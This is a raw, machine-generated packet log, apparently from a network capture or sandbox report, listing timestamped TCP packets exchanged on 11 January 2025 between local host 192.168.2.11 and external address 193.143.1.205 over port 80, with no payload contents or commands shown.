Jan 11, 2025 07:20:01.716840982 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716866970 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716902018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716938019 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716945887 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716985941 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717035055 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717070103 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717104912 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717117071 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717140913 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717176914 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717228889 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717643976 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717679024 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717716932 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717737913 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717755079 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717777967 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717813015 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717849016 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717883110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717888117 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717920065 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717941046 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.717955112 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.717992067 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718000889 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.718027115 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718064070 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718072891 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.718620062 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.718684912 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718723059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718772888 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.718792915 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718827009 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718861103 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.718866110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718897104 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.718915939 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.720483065 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.720523119 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.720549107 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.720560074 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.720597029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.720650911 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.723969936 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.723994970 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.727015972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727092981 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727094889 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.727132082 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727168083 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727180004 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.727226973 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727266073 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.727283001 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.729302883 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.733422041 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.759001017 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759021997 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759042025 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759057999 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759069920 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759083033 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759094000 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.759094000 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.759143114 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800348043 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800365925 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800386906 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800400972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800414085 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800422907 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800447941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800461054 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800492048 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800513029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800525904 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800539017 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800558090 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800579071 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800693035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800704956 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800724030 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800741911 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800748110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800761938 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800776958 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800791025 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.800796986 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.800817966 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839303970 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839394093 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839432955 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839464903 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839468002 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839507103 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839524031 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839580059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839591026 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839633942 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839663029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839694023 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839720964 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839771986 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839776039 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839831114 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839875937 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839884043 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839915037 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.839963913 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.839967966 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840003967 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840054035 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840060949 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840101957 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840137959 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840151072 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840174913 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840210915 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840224981 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840255976 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840291023 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840318918 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840348959 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840380907 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840399027 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840416908 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840454102 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840495110 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840507984 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840554953 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840562105 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840598106 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840636015 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840642929 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840694904 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840732098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840766907 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840780020 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840812922 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840821981 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840857029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840897083 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840931892 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.840946913 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.840989113 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841000080 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841021061 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841057062 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841068983 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841093063 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841145992 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841146946 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841200113 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841236115 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841264963 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841273069 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841309071 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841324091 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841346979 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841396093 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841398954 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841437101 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841490030 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841491938 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841526031 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841573954 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841581106 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841635942 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841670990 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841706038 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841732025 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841758966 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841763020 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841799021 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841850042 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841891050 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841896057 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841943979 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.841948032 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.841980934 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842016935 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842061043 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842071056 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842104912 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842127085 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842140913 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842175007 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842211008 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842226028 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842250109 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842272997 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842286110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842320919 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842329979 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842356920 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842391968 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842401981 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842427969 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842466116 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842503071 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842523098 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842538118 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842544079 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842670918 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842709064 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842720032 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842727900 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842740059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842751026 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842762947 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842768908 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842773914 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842787027 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842791080 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842797041 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842808962 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842819929 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842827082 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842830896 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842842102 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842847109 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842853069 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842869043 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842876911 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842881918 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842890024 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842900991 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842911959 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.842915058 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.842937946 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.845628023 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845642090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845653057 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845689058 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.845717907 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845724106 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.845730066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845742941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845762968 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845773935 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.845774889 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.845802069 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.847762108 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887099028 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887128115 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887140036 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887192965 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887204885 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887209892 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887222052 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887233019 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887274981 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887289047 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887329102 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887346983 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887383938 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887396097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887415886 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887443066 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887471914 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887489080 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887501955 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887512922 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887526035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.887525082 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.887562037 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926105022 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926121950 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926135063 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926234007 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926254988 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926268101 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926280022 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926318884 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926330090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926331997 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926356077 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926393032 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926404953 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926424980 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926485062 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926496029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926508904 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926526070 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926569939 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926601887 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926614046 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926625013 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926645041 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926646948 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926657915 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926698923 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926754951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926786900 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926794052 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926848888 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926862001 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926873922 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926898956 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926928997 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.926959991 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926971912 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.926985979 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927007914 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927108049 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927119970 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927130938 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927143097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927145958 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927155018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927165985 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927172899 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927177906 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927194118 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927223921 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927366972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927381039 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927392960 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927403927 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927417994 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927440882 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927508116 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927520037 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927531004 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927544117 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927552938 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927598000 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927624941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927638054 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927676916 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927710056 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927722931 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927733898 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927752018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927763939 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927767992 CET	49708	80	192.168.2.11	193.143.1.205
